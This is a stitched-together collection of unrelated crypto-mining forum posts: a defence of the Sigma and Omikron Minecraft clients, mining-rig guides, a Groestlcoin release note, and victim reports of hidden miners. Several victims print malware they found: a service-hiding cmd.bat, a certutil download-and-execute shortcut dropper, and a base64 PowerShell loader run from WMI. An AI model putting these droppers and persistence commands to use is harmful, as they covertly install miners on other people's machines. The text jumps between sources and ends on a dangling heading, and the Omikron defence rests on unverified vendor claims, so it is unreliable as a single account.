Heres some proof about sigma not being a trojan and omikron client proof from the sigma creator andro

The high GPU usage is due to the GPU acceleration or the UIs. And this is not comparable to other person's GPU usage since every GPU behave differently. You can compare this usage with vanilla 1.15.2's GPU usage. In my personal case, it's about +1~8% higher.
And the overall performance loss over the 1.8 clients is due to the 1.15 itself, the heavy UI, the missing optimisations (performance update soon), the obfuscation, etc
Some people are saying that "conhost.exe" is a malware... It's actually the console process spawned by java.exe which is used by Sigma (instead of the javaw.exe, the window version of java.exe without the console, that is mostly used for Minecraft).
Fun fact: Badlion client and Lunar client are also spawning conhost, and they aren't getting called out as malwares.
Here's a great explanation of what it is: https://www.howtogeek.com/howto/4996/what-is-conhost.exe-and-why-is-it-running/

And Omikron client was not a bitcoin miner, here's the copypasta :
Omikron client didn't have any btc miner / rat / botnet or whatever. The thing running in background was a system to validate the usage of the auto alt / proxy from other computers. Therefore, if you used auto alt / auto proxy, your computer among others validated in some sort of P2P the usage of alts / proxies. If >50% of computers says that a "transaction" is good, it was validated. Omikron decided to do that to counter the abuse of auto alt / auto proxy.
But ofc you could disable that autorun in Omikron Client's setting. And it was clearly written in the client that it would autorun (but no body really read it) if you use auto alts / auto proxy.
Edit, another copypasta:
I know, this is missleading. In the code, finding alts is refenrenced as "mining" them because you have this usepass combo and sometime yay ! Its a working minecraft alt ! The whole problem about all this drama is that its old code written when the client was "ghost client" and putting it in a .m file intead of .minecraft, having the package not named omikron, not using omikron domain name in the code was a good idear to prevent memory scanning cheating software such as BLSquad to find "omikron" but as you can tell it has bring more trouble that anything. You shoudn't be scared, your cpu isn't and wont be used to mine crypto or any unwanted activity and you will soon be able to chose if you want the service to run. In the next release, beside the fact that all of this was moved to .minecraft/Omikron, using proper domain name etc, you will be able to choose if you are using the client and want the background service running to find alts or if you have the client installed but not using it you will be able to disable the background service.
The video that is spreading about Omikron client is only proving that it downloads an autorun, and runs it in the background, which is intended.

Be careful of people trying to spread that Sigma could be a virus. Most of the time, they're made up by people who are clueless and don't know about what they're talking about (ex: conhost).

Kraken Receives Licence To Establish First U.S Digital Assets Bank
The Kraken Bitcoin exchange was the first in the United States to receive the status of a special purpose depository institution (SPDI), giving it the functions of a traditional financial institution. The corresponding application of the Californian company was approved by the Wyoming Banking Council. This will allow Kraken to opt-out of third-party vendors to perform certain banking functions on its own.
Official Ethereum Proof-of-Stake Algorithm Proposal Published
Ethereum Foundation Lead Developer Danny Ryan has published the official proposal EIP-2982, which suggests the launch of Ethereum 2.0 and the transition from the Proof-of-Work consensus algorithm to Proof-of-Stake. If approved by other leading developers, it will be possible to launch Serenity, Ethereum 2.0 phase zero. Within its framework, the Beacon Chain will be activated, which will use Proof-of-Stake.

Building an Ethereum Mining Rig (13 GPU) - 4th part

Third update to the guide "Building a Mining Rig for Ethereum". The absolute first guide to building a RX Vega 64 8gb 13 GPU Mining Rig.
Reading this guide to building a 13 GPU Ethereum mining rig requires adequate knowledge of building and running an Ethereum Mining Rig. We therefore recommend a previous view of our Guide to build a Mining Rig and related updates.

Let's immediately list the hardware used:

- Asus Mining Master X370 mainboard
- Core i5 Coffee Lake CPU
- 480 or 500GB SSD
- 32Gb Ram
- 13 GPU RX Vega 64 8Gb
- 3 x 1000W power supplies
- 1 1200W power supply
- 8Gb USB stick

In this guide we will obviously not explain how to mount the hardware of a Rig. The only notes we wish to underline are the following:

- the 1200W power supply must be the primary one on which to connect 4 GPUs and the video output for the monitor

- all the risers, as well as obviously the GPUs, must be powered through the 8-pole connections of the power supplies. We strongly advise against the use of 6-pole ports. Therefore, have the appropriate number of cables available for all connections. Risers can also be powered in pairs.

- the model of the video card used is the Asus Rog Strixx Gaming RX Vega 64 8Gb


The operating system is Windows 10 updated to the latest version available. The tool for creating installation media is available at the following link https://www.microsoft.com/it-it/software-download/windows10 to be able to use the USB key as a launcher for installing Windows 10 .

With the Asus Mining Master, the GPU risers can be connected directly to the motherboard via the USB cable, thus making one of the small components of the riser kits unusable.

After making all the connections on the motherboard, check that all GPUs are highlighted in green when the PC starts up. If not, move the USB cable on the motherboard one position. It may take at least 2 or 3 attempts.

Ethereum mining with 13 GPUs
Having solved this possible small inconvenience, let's proceed with the installation of the AMD Adrenaline 2020 drivers, always updated to the latest version, relating to the RX Vega Series.

If you want to proceed with more caution, the advice is to disconnect all the GPUs (remembering the locations of the USB cables) except one before installing the drivers.

The mining will be carried out on the Ethermine pool, our favorite, using the Claymore 15 software.


Once the download is complete, you will have to unzip the folder on the desktop and open the start.bat file contained in the Claymore folder using Notepad. The procedure is the usual one: delete the content and copy-paste the following command string:

start config.dll -epool eu1.ethermine.org:14444 -ewal "your ETH wallet address" -epsw x -worker "worker"
EthDcrMiner64.exe

Where EthDcrMiner64.exe is the executable, -epool indicates the pool to mine and its port, -ewal is the wallet address and -epsw is the password that we leave blank (X).

In place of "your wallet address" you will have to put your Ethererum wallet and instead of worker you will enter an identification number in case you plan to build more RIGs (such as RIG1, RIG2, etc ...).

At the following link, many other useful commands for your Rig:
https://github.com/Claymore-Dual/Claymore-Dual-Miner

Try to run mining and check that the system is stable.

In the Payouts section, after a few minutes of mining, you can decide the minimum amount of Ether to be sent to your wallet by simply entering the IP address of the RIG.

We performed the mining directly on the Ethereum address of the Exodus wallet. Coinbase is not supported.

Overclocking with OverdriveNTool
Let's proceed now with the download of OverdrivenTool at the following link: https://forums.guru3d.com/threads/overdriventool-tool-for-amd-gpus.416116/


For those unfamiliar with it, we recommend reading our software guide.

For those who do not intend to experiment or do not completely trust their software experience, at the following link you can view the settings on the parameters of the GPUs and the RAM of the GPUs - and other small tricks - to obtain the best possible performance without forcing the cards too much. video.

On our Youtube channel (subscribe numerous !!!) you will now be able to see the video relating to the start of mining and the one concerning the stabilization phase.

To better cool the Rig we have also installed fans for the extraction of heat as caution is never too much. Moreover, there is also an aesthetic gain.

MoneroOcean pool owner supports botnets

Hi guys,
As of late my vps that was running Microsoft's RDP got hacked. The attacker ran a malware miner named system.exe that was using 99% CPU. I'm gonna post a screenshot of all of it right here so he gets publicly exposed for his deeds.
https://imgur.com/a/yArkTR8
By further investigation I found that this miner uses config.json as it's configuration file and I'm posting the contents also publicly here:
{ "algo": "cryptonight", "api": { "port": 0, "access-token": null, "id": null, "worker-id": null, "ipv6": false, "restricted": true }, "asm": true, "autosave": true, "av": 0, "background": false, "colors": true, "cpu-affinity": null, "cpu-priority": null, "donate-level": 0, "huge-pages": true, "hw-aes": null, "log-file": null, "max-cpu-usage": 100, "pools": [ { "url": "gulf.moneroocean.stream:80", "user": "44CZd8EvSktM2FzqMVbMBc9pWDcL45yYTWY3VzdymUbjDG6F1734vQh4dj9hjn7tj3eFohS8NGSDSNNVzBxLt7Eb8Vw8vrq", "pass": "x", "rig-id": null, "nicehash": false, "keepalive": false, "variant": -1, "enabled": true, "tls": false, "tls-fingerprint": null } ], "print-time": 60, "retries": 5, "retry-pause": 5, "safe": false, "threads": [ { "low_power_mode": 1, "affine_to_cpu": false, "asm": true }, { "low_power_mode": 1, "affine_to_cpu": false, "asm": true }, { "low_power_mode": 1, "affine_to_cpu": false, "asm": true } ], "user-agent": null, "watch": true }
cmd.bat contents are the following:
attrib -a -s -r -h C:\WINDOWS\Debug\nat* net stop Networks taskkill /f /im system.exe C:\WINDOWS\Debug\nat\svchost.exe install "Networks20181019" C:\WINDOWS\Debug\nat\system.exe sc config "Networks20181019" DisplayName= "Networksr20181019" sc description "Networks20181019" "Microsoft Windows Networks" Set ProcessName=system.exe sc start "Networks20181019" attrib +a +s +r +h C:\WINDOWS\Debug\nat* echo u/off del %USERPROFILE%\Desktop\0.exe
I've scanned everything on VirusTotal and upon visiting the pool I've noticed that the miner has a hefty 50 KH/s. I've also contacted the pool owner via Discord and can post the whole discussion if anyone is willing to see it. He doesn't want to ban the miner, shortly.
I'm not so familiar with Monero but I had Bitcoins and I fully support the mining community. I understand that people with botnets increase difficulty for normal people to make a profit. I've also reported this guy to his ISP by examining the IP found in Event Viewer, since he didn't use a VPN (the IP isn't detected as proxy). I won't post the IP's publicly.
What more can I do? The pool owner also threatened me to report another XMR wallet address to SupportXMR pool because he thought I was a competitive attacker. I can also give that address aswell.
Thank you for reading and stay safe :)

[CPU/RAM] SteelSeries Engine 3 + Trident Z RGB Lighting Controller = High CPU usage

Hello!
I have an i5-9600K on an MSI Z390-A Pro and the sticks are 2x8 = 16GB of G.Skill Trident Z RGB DDR4 (PC4-25600) 3200 Mhz (16-18-18-38).
For 2+ years everything was fine with G.Skill's Trident Z RGB lighting controller and my rig. Now (all of a sudden) the process is eating ~25% of my CPU in taskbar (idle, gaming or w/e).
I've done a lot of research but haven't found a solution. What I have found out so far it has something to do with SteelSeries Engine 3 (specifically the hardware drivers for the headset 'Arctis 7 2019 Edition'), I can not simultaneously have installed TridentZ lighting hid and SteelSeries Engine 3 at the same time (or the drivers for the headset), or the CPU eats that 25% of the process.
As any user of Arctis 7 headset they know it has two outputs; 'Arctis 7 Game' and 'Arctis 7 Chat', while 'Game' output is the main channel and 'Chat' isn't meant for your audio output.
So if I have those two programs installed (SteelSeries Engine & TridentZ's RGB lighting controller) and select from audio mixer the 'Arctis 7 Game', no audio is heard at all from my system and also everything on my screen is ~0.1 frames per second (like even moving the cursor on desktop), and as soon as I switch to Arctis 7 Chat, (which is worse than 'Game' (normally) the lag is gone.
If having those two programs installed (SteelSeries Engine & TridentZ's RGB lighting controller) and I task-kill the TridentZ's RGB lighting controller other processes (like 'Wallpaper Engine' & 'DisplayFusion') both go to 25% CPU - then if I kill those it's W10 processes like 'System', 'Windows Problem Reporting' or Windows remote procedure call processes go into high CPU usage.
Before I knew the problem is with SteelSeries Engine (and/or its drivers for Arctis 7), iCUE, Wallpaper Engine or w/e. I have tried to use another GPU, the integrated GPU, installed clean W10 over ten times over, I bought the same exact MOBO as a replacement, tried every RAM slot with every possible combination with my two sticks, used 'Windows Memory Diagnostic tool' for three times, nothing. A lot of researching and being paranoid if I have a back door (for malware like BitCoin miner or something) in any of my hard drives or in any cache/memory of any PC component like CPU, GPU, the ram sticks, the MOBO... Since the last three months I have been struggling with this.
I also get this error prompt from SteelSeries Engine 3's software when you install the "Additional software for this device is required..." for the Arctis 7/(2019 Edition) headset while also having the Trident Z RGB controller installed.
"The core process SteelSeriesEngine3.exe does not seem to be running. Please make sure you are launching the software using the shortcut in the start menu. If you have pinned the application to your taskbar or start menu, please check that you have pinned that shortcut rather than pinning a link to SteelSeriesEngine3Client.exe"

Got owned by a malicious torrent, and want to understand how it works

hi folks,
recently I got really sloppy and ended up downloading a malware... it was supposed to be a Bojack Horseman Hentai (just kidding haha) , but happened to be a malware... the file itself was a shortcut with the following commands... after all, I ran in a VM, and it seems to be a bitcoin miner or something like that... but I want to understand each part of this shortcut, because it makes a lot and is actually small and apparently doesn't need any other file to trigger, but I have no knowledge on VB or windows scripting.. if you can help please...

shortcut:
%ComSpec% /c
echo CreateObject("Wscript.Shell").Run"""%ComSpec%"" /c del ""%USERNAME%.vbs""&certutil -urlcache
-f https://SOME_MALICIUS_LINK_HERE=berivel_%PROCESSOR_ARCHITECTURE% ""%USERNAME%.exe""
&&""%USERNAME%.exe""",0 >"%USERNAME%.vbs"&"%USERNAME%.vbs"
----------------------------------------------------------------------------------
I change the link there, but it actually had this line breaks in the text...Here is what I manage to understand the step by step: (please correct me if I'm wrong)
- %ComSpec% /c shortcut to CMD and /c to run what comes next
- echo ???? I don't get why echoing here...
- CreateObject("Wscript.Shell") probably creating a script, is it VB script?
- .Run probably running it..
-"""%ComSpec%"" /c run again the cmd, I don't get why, also don't get this many quotations marks
- del ""%USERNAME%.vbs"" deleting a vbs file named with the username, which didn't even exist before? where did it create it in the first place? once again, why double double quotes?
- &certutil -urlcache - this mess something with the certificates on the OS, right? what exactly does?
- -f https://SOME_MALICIUS_LINK_HERE=berivel_%PROCESSOR_ARCHITECTURE% ""%USERNAME%.exe"" this -f is a parameter for the previous command, what is it? and next is where I think the magic happens, I change the link because I don't know if it's safe.. and it passes the processor and a exe which was probably recently created as args... when did it create this process?
- &&""%USERNAME%.exe""",0 now I think it runs this recently created exe, again with the ""quotes"", and what about this ,0 ??
- >"%USERNAME%.vbs"&"%USERNAME%.vbs" I think this > is saving it to a file, but I got no clue about this trick of using & and itself again... what is happening there?
that is it! is that everything it needed to work, or did I probably miss some file? can someone help me to understand it better? a step by step would be very clarifying

Fitgirl Assassins Creed Origins install bitcoin miner causing high cpu usage when Task Manager is not running

Fitgirl Assassins Creed Origins install bitcoin miner causing high cpu usage when Task Manager is not running
Hello,I downloaded Assasins creed origins today from this site: fitgirl-repacks dot site And something feels odd when I exit the game, my CPU is running at roughly 60%, and as soon as I open task manager it would go back to normal. I ran malwarebytes and it found 2 suspicious items and removed them, but the problem continue, so I started to investigate manually. So I start up Performance Monitor and check which process would shoot up as soon as I close Task Manager. This is what I found. SoundModule. I open up Task Manager, and found 2 running process of this, I open their location and found them at AppData\Roaming\Microsoft\SoundModule.
I quickly look these up, they do not belong to microsoft and won't trigger any antivirus or malwarebytes, I killed those process and deleted them which solved the problem for me. Hopefully this post will help someone in the future.
For more details regarding this "SoundModule" https://www.anti-malware.name/removal-guide/remove-soundmodule-exe/
I started the game again after that and the "soundmodule" executable or process did not get recreated.
If you pirate a game, make sure you check on your CPU usage to see if there is an suspicious thing going on. In my case, I only realized that something is running on my cpu due to CoreTemp, because I would see the temperature be at 60 to 70 degree Celsius, while my normal idle temp is usually only at 40 to 60, and as soon as I start Task manager, the temperature did drop back to 40ish.
https://preview.redd.it/p0tdcjf4vpm41.png?width=1576&format=png&auto=webp&s=f20dfabcc39a685e86e66ee4a9fc33604396de4d
I have ran the script to verify bins a few times before installing cause it didnt seem to do anything to me. Installed the game and had the cpu issue.
P.S. If you don't trust me, that is fine. This post is not for you. I am not here to convince you or trash fitgirl. We are all pirates here, we are all stealing in someway. This post is mainly for someone else that may have this problem in the future.
If anyone have similar issue, and don't know how to find the bitcoin miner in their pc, do not be shy to private message me, I am happy to help. It is very easy for developers to scan for running process and stop work while a given process is opened, thus the miners process will continue to evolve to hide under more and more programs, so it will become very difficult at some point.
UPDATE:
I was contacted by 2 people that have seen this post. 1 person has installed the same package and was not affect. Another person has installed the same package and was affected. Chance is the installer is installing the bitcoin miner based on random number generator.

Groestlcoin 6th Anniversary Release

Introduction

Dear Groestlers, it goes without saying that 2020 has been a difficult time for millions of people worldwide. The groestlcoin team would like to take this opportunity to wish everyone our best to everyone coping with the direct and indirect effects of COVID-19. Let it bring out the best in us all and show that collectively, we can conquer anything.
The centralised banks and our national governments are facing unprecedented times with interest rates worldwide dropping to record lows in places. Rest assured that this can only strengthen the fundamentals of all decentralised cryptocurrencies and the vision that was seeded with Satoshi's Bitcoin whitepaper over 10 years ago. Despite everything that has been thrown at us this year, the show must go on and the team will still progress and advance to continue the momentum that we have developed over the past 6 years.
In addition to this, we'd like to remind you all that this is Groestlcoin's 6th Birthday release! In terms of price there have been some crazy highs and lows over the years (with highs of around $2.60 and lows of $0.000077!), but in terms of value– Groestlcoin just keeps getting more valuable! In these uncertain times, one thing remains clear – Groestlcoin will keep going and keep innovating regardless. On with what has been worked on and completed over the past few months.

UPDATED - Groestlcoin Core 2.18.2

This is a major release of Groestlcoin Core with many protocol level improvements and code optimizations, featuring the technical equivalent of Bitcoin v0.18.2 but with Groestlcoin-specific patches. On a general level, most of what is new is a new 'Groestlcoin-wallet' tool which is now distributed alongside Groestlcoin Core's other executables.
NOTE: The 'Account' API has been removed from this version which was typically used in some tip bots. Please ensure you check the release notes from 2.17.2 for details on replacing this functionality.

How to Upgrade?

Windows
If you are running an older version, shut it down. Wait until it has completely shut down (which might take a few minutes for older versions), then run the installer.
OSX
If you are running an older version, shut it down. Wait until it has completely shut down (which might take a few minutes for older versions), run the dmg and drag Groestlcoin Core to Applications.

ALL NEW - Groestlcoin Moonshine iOS/Android Wallet

Built with React Native, Moonshine utilizes Electrum-GRS's JSON-RPC methods to interact with the Groestlcoin network.
GRS Moonshine's intended use is as a hot wallet. Meaning, your keys are only as safe as the device you install this wallet on. As with any hot wallet, please ensure that you keep only a small, responsible amount of Groestlcoin on it at any given time.

ALL NEW! – HODL GRS Android Wallet

HODL GRS connects directly to the Groestlcoin network using SPV mode and doesn't rely on servers that can be hacked or disabled.
HODL GRS utilizes AES hardware encryption, app sandboxing, and the latest security features to protect users from malware, browser security holes, and even physical theft. Private keys are stored only in the secure enclave of the user's phone, inaccessible to anyone other than the user.
Simplicity and ease-of-use is the core design principle of HODL GRS. A simple recovery phrase (which we call a Backup Recovery Key) is all that is needed to restore the user's wallet if they ever lose or replace their device. HODL GRS is deterministic, which means the user's balance and transaction history can be recovered just from the backup recovery key.

ALL NEW! – GroestlcoinSeed Savior

Groestlcoin Seed Savior is a tool for recovering BIP39 seed phrases.
This tool is meant to help users with recovering a slightly incorrect Groestlcoin mnemonic phrase (AKA backup or seed). You can enter an existing BIP39 mnemonic and get derived addresses in various formats.
To find out if one of the suggested addresses is the right one, you can click on the suggested address to check the address' transaction history on a block explorer.

ALL NEW! – Vanity Search Vanity Address Generator

NOTE: NVidia GPU or any CPU only. AMD graphics cards will not work with this address generator.
VanitySearch is a command-line Segwit-capable vanity Groestlcoin address generator. Add unique flair when you tell people to send Groestlcoin. Alternatively, VanitySearch can be used to generate random addresses offline.
If you're tired of the random, cryptic addresses generated by regular groestlcoin clients, then VanitySearch is the right choice for you to create a more personalized address.
VanitySearch is a groestlcoin address prefix finder. If you want to generate safe private keys, use the -s option to enter your passphrase which will be used for generating a base key as for BIP38 standard (VanitySearch.exe -s "My PassPhrase" FXPref). You can also use VanitySearch.exe -ps "My PassPhrase" which will add a crypto secure seed to your passphrase.
VanitySearch may not compute a good grid size for your GPU, so try different values using -g option in order to get the best performances. If you want to use GPUs and CPUs together, you may have best performances by keeping one CPU core for handling GPU(s)/CPU exchanges (use -t option to set the number of CPU threads).

ALL NEW! – Electrum Personal Server

Groestlcoin Electrum Personal Server aims to make using Electrum Groestlcoin wallet more secure and more private. It makes it easy to connect your Electrum-GRS wallet to your own full node.
It is an implementation of the Electrum-grs server protocol which fulfils the specific need of using the Electrum-grs wallet backed by a full node, but without the heavyweight server backend, for a single user. It allows the user to benefit from all Groestlcoin Core's resource-saving features like pruning, blocks only and disabled txindex. All Electrum-GRS's feature-richness like hardware wallet integration, multi-signature wallets, offline signing, seed recovery phrases, coin control and so on can still be used, but connected only to the user's own full node.
Full node wallets are important in Groestlcoin because they are a big part of what makes the system be trust-less. No longer do people have to trust a financial institution like a bank or PayPal, they can run software on their own computers. If Groestlcoin is digital gold, then a full node wallet is your own personal goldsmith who checks for you that received payments are genuine.
Full node wallets are also important for privacy. Using Electrum-GRS under default configuration requires it to send (hashes of) all your Groestlcoin addresses to some server. That server can then easily spy on your transactions. Full node wallets like Groestlcoin Electrum Personal Server would download the entire blockchain and scan it for the user's own addresses, and therefore don't reveal to anyone else which Groestlcoin addresses they are interested in.
Groestlcoin Electrum Personal Server can also broadcast transactions through Tor which improves privacy by resisting traffic analysis for broadcasted transactions which can link the IP address of the user to the transaction. If enabled this would happen transparently whenever the user simply clicks "Send" on a transaction in Electrum-grs wallet.
Note: Currently Groestlcoin Electrum Personal Server can only accept one connection at a time.

Is it a virus?

So, basically, my anti-virus (norton) have been telling me that an attack called "miner.bitcoinminer activity 7" is coming from "\DEVICE\HARDDISCVOLUME3\PROGRAM FILES\VIRTUALBOX\VBOXHEADLESS.EXE". I have noticed that vbox have been using a lot more cpu power and ram memory than usual. What should I do? Do you think deleting vbox will solve this problem or is there another way? btw i get like one bitcoin miner warning from this source every ten seconds.

GPU Mining Crash Course - START HERE!

Welcome All to the GPUMining Crash Course!
With the increase in prices in cryptocurrency, a lot of people are getting back into mining and a lot of people are brand new to the concept overall. So, I quickly wrote this crash course to help you understand what to expect and how to successfully mine your first cryptocurrency. This crash course isn't gonna have all of the fluff you'd see in a normal publication. This is just everything you need to know to get up and running on your first cryptocurrency mining rig.

What is cryptocurrency mining?

One of the main things about cryptocurrencies is that they are "decentralized". Sounds great, but WTF does that even mean? Well, the easiest way to explain it is...
You know how if you want to send your friend/family money digitally, you can do so through your bank. Your bank likely takes a transaction fee and in a few days they will transfer the money. Since cryptocurrencies are decentralized, they don't have a bank or organization to fulfill the transfer of money. Instead, they outsource the computing power of their cryptocurrency network to miners (soon to be you). These miners are verifying transactions, securing the blockchain, and powering the cryptocurrency's specific network among other things. As an incentive, the miners collect transaction fees on the transactions that they verify and collect block rewards while new currency is still being introduced into the ecosystem.

What kind of rig should I build?

You can mine cryptocurrencies using your CPU, GPU, FPGA, or ASIC, but this is a GPU Mining subreddit, so I will cater this to GPUs.
For building a great all-around GPU rig, there are two models of GPUs that I'd recommend:
Both of these GPUs have solid hashrates across most mining algorithms and for a decent price! You should be able to find both of these kinds of GPUs used for around $200-$250 each, which is a great price if you know what happened during the last mining craze! ($200 GPUs were out of stock everywhere and people were reselling them for $600+ each)
There are also plenty of great AMD GPUs for mining, but I've worked mostly with Nvidia so that's why both of my recommendations are Nvidia and not AMD.
Other parts to your rig that you'll need are listed below. Most of these can be pieces of crap and are just needed to make the rig actually run, but the one spot you DON'T want to cheap out on is the power supply unit. A decent power supply unit will keep your home from burning down while also keeping your rigs up and running smoothly. Here are my recommendations:

She's built, now what?

Now you need to do a few things. I am a Windows miner, so I will be speaking to Windows here:
  1. Update Windows - Do all of the updates. Just do it.
  2. Update Drivers - Go to the EVGA website and download GeForce experience. It will keep your GPU drivers up to date.
  3. Go to Windows Device Manager and make sure all of your GPUs show up under "Display Adapters". If it is there, but it isn't showing the Name/Model of the GPU as the name, right click it and select "Update Driver". This should fix it.
Assuming you've done all of this, you're ready to download a mining application.

Mining Software

There are tons to choose from! Claymore, Phoenix, EWBF, LolMiner, etc... It can be overwhelming pretty quickly since they all have different algorithm support, speeds, efficiencies, and a whole lot more. On top of that, in order to get them running you need to set up batch files to call the proper exe, point you to the correct pool, and a whole bunch of other stuff that can be confusing to a new user. Not to mention, you will probably need a separate miner, config file, batch file, etc. for each different algorithm that you're interested in mining on.
Instead, I recommend that you download a miner management software that will take care of most of this tedious work for you. There are a few in the sidebar, but the /GPUMining favorite is AIOMiner. It was developed by our very own community member, xixspiderxix with the intention of making mining as easy as possible to do and without any fees. It supports over 100 different algorithms, so you'll be able to mine nearly ANY cryptocurrency you'd like. Just download it from their website and it will take you through a quick tutorial to help you get set up! You can also connect your rig to their website for remote monitoring and control. You've probably seen a few of their posts around this subreddit.
Other Windows mining softwares include:
Note: Many mining softwares have fees built into them. Most are around 1%, but can go as high as 5% or greater! You want a mining software with little or no fees at all so that you get to keep as much cryptocurrency as possible. These fees aren't something you actively pay, the software will automatically take it by mining on the developers behalf for a given amount of time and then switching back to mining on your own behalf. So, please be diligent in the software that you evaluate and make sure it is reputable.

I keep hearing about NiceHash. What is that?

The asshole of the mining industry. Jk, but not really.
NiceHash is a software program that allows you to sell your rig's hashing power to someone on their marketplace. They market themselves as profitable mining, but you're not really mining. You're selling your power in exchange for Bitcoin.
They did a great job telling people that with them, you're always mining the most profitable coin, but that's just not true. Since it is a mining marketplace, they make you mine whatever their most expensive contract is. If their contracts are below market prices, then you're not operating as efficiently and profitably as you could be.
NiceHash also has a sketchy history, which continues to this day. In 2017, they were hacked and lost $65M worth of Bitcoin. No one got paid out for MONTHS and many of their executives conveniently resigned. Their platform is also used to destroy cryptocurrencies. Since people are able to purchase mining power on their platform, people have used their platform to purchase enough mining power to control individual cryptocurrencies and duplicate coins, which increased the malicious user's wealth while completely destroying the integrity of the coin's blockchain. HoriZEN (formerly ZenCash), Ethereum Classic, and many other great cryptocurrencies have been the victim of NiceHash's platform.
For this and many other reasons, we highly recommend that you stay AWAY from Nicehash. We understand that it is extremely easy to use and you get paid in bitcoin, but they are destroying the industry with their greed and lack of motivation to change their platform for the protection of cryptocurrencies.

Concluding Thoughts

This is pretty much everything you need to know to get started. We covered the hardware, setting up the software, which software to use, and AIOMiner's tutorial will get you up to speed on how to actually mine the cryptocurrency that you want better than I can explain it, so I'll leave that part to them.
If you have any questions on this crash course, please leave a comment below where myself and other community members will be able to help you out.

WARNING: Andy Android emulator (AndyOS, Andyroid) drops a bitcoin miner on your system

lawrenceabrams has done a lot more digging and research and has published an article which you can read here.
Update: Their Facebook support group has been changed to a closed group meaning you can't view their posts if you're not already a member. Luckily I have a fair few sleeper accounts in that group and I'll report back with anything worth noting.
Clarification: In the video I fail to close Andy when checking my GPU stats but I can confirm that they are roughly the same as when Andy is open. The mining process runs even with Andy closed and it opens on startup. I use the term bitcoin in this thread and the video as it's almost become a generic trademark. People instantly know what bitcoin is. I used cryptocurrency when talking to people in the Andy support group and they got confused and thought I was talking out my arse.
MAJOR UPDATE: I asked the Andy staff why they're still serving the infected file. After seeing that comment, and probably after seeing this reddit thread they've removed me from the group.
A friend opened Andy in process explorer to see the files it drops upon installation. By the looks of things, the installer isn't at fault. Andy itself calls an IP which then transfers the bitcoin miner to your system.
Andy clearly have no interest in fixing this issue and they're doing their best to censor it. At this point I wouldn't be surprised if this is completely down to their doing. The fact that they've completely blocked me from contacting them and the removal of all of my posts to them suggests that they don't care and don't want anyone to know.
Please keep in mind that this may not directly be Andy's fault. I'm not trying to directly accuse Andy of being at fault here but until an official statement is made from the Andy team I'm going to tell it how it is, and how the majority of people will see this situation. The installer Andy uses drops a cryptocurrency miner on your system and it has been reported in the past but no effort has been taken to cut ties with the company that created the installer. This is still Andy's responsibility. Funnily enough, the owners of Andy and the admins in the Andy support Facebook group actually recommend turning off your antivirus whilst installing.
All evidence provided on this post is true with version 'Andy_Nougat_260_1096_26' (latest release available from the official Andy website).

Backstory

I was searching for an Android Emulator and came across an Android Authority list of the 15 best Android emulators for PC (now 14 after I contacted the writer of the article with evidence). I saw Andy was on this list and it was described as a big competitor to the likes of Bluestacks. I'd used Bluestacks previously but I was looking for a different emulator just to try something new. I downloaded Andy, installed it (I declined the offer relating to Yahoo), and began using it. I finished up what I was doing, closed Andy and opened some games. I noticed that in every single game I played I suffered major FPS drops at seemingly random times. I checked my GPU usage and temps and noticed they were working at roughly 80% load and 80+ degrees C whilst gaming. Very unusual for my setup. I opened task manager and sorted it via what was using the most GPU power and found a process named 'updater.exe'. After further inspection I noticed that this installed along with Andy.

Evidence

I created a video showcasing the entire installation process, including GPU usage before and after Andy was installed. This was sent directly to the creators of Andy (which is who I'm referencing in the video), as they refused to believe that the bitcoin miner was anything to do with installing their software. Apparently giving them virustotal scans and screenshots are not enough evidence and some users in the Andy support Facebook group blindly tried accusing me and my friends of using a tampered installer. The video shows that I downloaded every single executable possible from their official website and I was served the same installer each time.

How to remove Andy

Removing Andy and the bitcoin miner is actually really easy. The miner doesn't even attempt to hide itself and doesn't have a specific payload so it's just always running.
  1. Close every Andy-related process via task manager.
  2. Uninstall Andy via Windows
  3. Look for a process named 'Updater' (This is the miner and surprisingly enough won't be uninstalled when you uninstall Andy! Would you believe it!)
  4. Right click that process and click 'Go to details'
  5. Right click 'Updater.exe' in details and click 'End process tree'
  6. Navigate to C:\Program Files (x86)
  7. Click once on the folder named 'Updater' and then press Shift+Delete
  8. Click once on the folder named 'AndyOS' and then press Shift+Delete
  9. Recheck task manager to confirm no more Andy services are running
  10. Download Malwarebytes and perform a full system scan to check if anything was missed
  11. Download CCleaner and do a registry fix. Multiple Andy registry entries will be found. Delete these and scan again to ensure that nothing was missed

Why didn't my antivirus detect it?

The likelihood is that your antivirus probably thought you wanted it. If every antivirus detects bitcoin miners as a threat then it's only going to get in the way of people who genuinely want to mine bitcoins on their system for personal use.

What now?

The Andy development team claim they are 'looking into this', but it has been reported to them in the past and nothing has changed at all. It has been removed off of the list of best Android emulators by Android Authority after I contacted the writer of the article with this evidence. He also installed Andy and confirmed that something fishy is going on. Even after being provided with evidence, the infected installer is still served today from their website.

Andy devs giving conflicting stories

Someone working for Andy by the name of Ghazi has been urging people to stop spreading the claims that Andy installs a bitcoin miner by saying that Andy doesn't mine for bitcoins and that we've been using an older version, which uses a similar method as Andy requires something to do with blockchain technology. This makes no sense. I don't understand why a modified ROM and basic application that hooks into a virtual machine would require anything to do with blockchain technology. Another reason this makes no sense is that the OWNERS of Andy said that it shouldn't be there, and that it's not their fault because they use a third party installer provided by another company. Two very conflicting stories.

TL;DR

In summary, when you install Andy from their official website, you 100% receive a bitcoin miner.
I will update this post with any further advancements.
Edit: The thing Ghazi was talking about is a deprecated ‘Andy Cloud Experiment’ which is no longer in use. They are still looking into the current issue but are still serving the infected file.
Edit: After being banned from their support group I got in on another account. I made a post and when I told them who I was they instantly banned me again. Fantastic! Great guys! Professionals!
Edit: Joined on a third account and was banned again! What a surprise!

Deciphering Cmd command

Quick recap: SEP/EDR Sonar is flagging malicious script on a 2008 Server. Powershell is base64 encoded and runs in the background and bypasses execution policy. decoded part tries to kill xmrig a bitcoin miner among other things. I can't find where the script is running from. SEP, Malwarebytes, PowerEraser, Symdiag all comeback with nothing.
I am in the process of rolling back/rebuilding the server but I really want to solve this puzzle. I noticed msiexec is using 63% cpu fairly consistently. Looking more into it, its running out of C:\Windows\Panther and has the same sha256 as powershell. Submitted it to VT and Hybrid-Analysis, both say its powershell. Hybrid had a few suspicious findings but it still had a low score.
I did a dump of the running msiexec process and found the following command:
"C:\Windows\Panther\msiexec.exe" $WmiName='root\cimv2:Win32_SysCommand';$Wmi=New-Object Management.ManagementClass($WmiName);$F=([WmiClass]$WmiName).Properties['F'].Value;IEX ([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String($F)))

I really think this might be the source, can someone help me decipher what that command is doing?

Baikal Quadruple Mini Miner: 600 MH/s
Baikal Miner Cube: 300 MH/s
Baikal Mini Miner: 150 MH/s

Mining Setup

